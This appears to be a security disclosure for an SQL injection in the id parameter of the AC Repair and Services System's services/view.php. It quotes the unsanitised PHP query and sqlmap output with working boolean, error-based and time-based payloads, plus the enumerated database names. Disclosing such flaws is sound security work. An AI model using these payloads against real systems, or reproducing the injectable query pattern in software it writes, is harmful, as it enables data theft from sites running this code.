

SQL injection vulnerability exists in id parameter of /php-acrss/services/view.php file of AC Repair and Services System. Important user data or system data may be leaked and system security may be compromised. The environment is secure and the information can be used by malicious users. When visit /index.php and page parameter is 'services/view', it will include /services/view.php, and id parameter can do sql injection.

/index.php:

```

18      <?php $page = isset($_GET['page']) ? $_GET['page'] : 'home'; ?>
19      <?php
20          $pageSplit = explode("/", $page);
21          if(isset($pageSplit[1]))
22              $pageSplit[1] = (strtolower($pageSplit[1]) == 'list') ? $pageSplit[0].' List' :
23                  $pageSplit[1];
24      ?>
25
26      <?php require_once('inc/topBarNav.php') ?>
27      <!-- Content Wrapper. Contains page content -->
28      <main id="main" class="main">
29          <?php if(in_array($page, ['home'])): ?>
30              <div class="col-12">
31                  <div id="site-header" style="--bg: url(<? validate_image($_settings->info(
32                      'cover')) ?>) ">
33                      <div class="header-content">
34                          <div class="siteTitle"><?=$_settings->info('name') ?></div>
35                          <hr class="border-light opacity-100 mx-auto" style=
36                              "width:100px;border-width:3px">
37                          <a href="<?=$_base_url.'?page=booking' ?>" class="btn btn-lg btn-primary
38
39
40          <div id="msg-container">
41              <?php if($_settings->chk_flashdata('success')): ?>
42              <script>
43                  alert_toast("<?php echo $_settings->flashdata('success') ?>","success")
44              </script>
45              <?php endif;?>
46          </div>
47          <?php
48              if(!file_exists($page.".php") && !is_dir($page)){
49                  include '404.html';
50              }else{
51                  if(is_dir($page))
52                      include $page.'/index.php';
53                  else
54                      include $page.'.php';
55              }
56          ?>
57      </main>

```

/services/view.php:

```

1  <?php
2  if(isset($_GET['id']) && $_GET['id'] > 0){
3      $qry = $conn->query("SELECT * from `service_list` where id = '{$_GET['id']}' and
4          `status` = 1 ");
5      if($qry->num_rows > 0){
6          foreach($qry->fetch_assoc() as $k => $v){
7              $$k=$v;
8          }
9          echo '<script>alert("service ID is not valid.");
10             location.replace("./?page=services")</script>';
11      }
12      echo '<script>alert("service ID is Required.");
13         location.replace("./?page=services")</script>';
14  }

```

SQLMAP:

```
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] N
sqlmap identified the following injection point(s) with a total of 359 HTTP(s) r
equests:
---
Parameter: id (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: page=services/view&id=1' AND 7276=7276 AND 'siFh'='siFh

  Type: error-based
  Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause (FLOOR)
  Payload: page=services/view&id=1' AND (SELECT 5987 FROM (SELECT COUNT(*),CONC
AT(0x716a6b7171,(SELECT (ELT(5987=5987,1))) ,0x716b6a6a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'UBEL'='UBEL

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: page=services/view&id=1' AND (SELECT 8765 FROM (SELECT (SLEEP(5)))Rx
sz) AND 'nbKi'='nbKi
---
[21:01:29] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.2.4, Apache 2.4.56, PHP
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[21:01:30] [INFO] fetching database names
[21:01:30] [INFO] retrieved: 'information_schema'
[21:01:30] [INFO] retrieved: 'acrss_db'
[21:01:30] [INFO] retrieved: 'mysql'
[21:01:30] [INFO] retrieved: 'performance_schema'
[21:01:30] [INFO] retrieved: 'phpmyadmin'
[21:01:30] [INFO] retrieved: 'test'
available databases [6]:
[*] acrss_db
```

Source Download:

<https://www.sourcecodester.com/php/16513/ac-repair-and-services-system-using-php-and-mysql-source-code-free-download.html>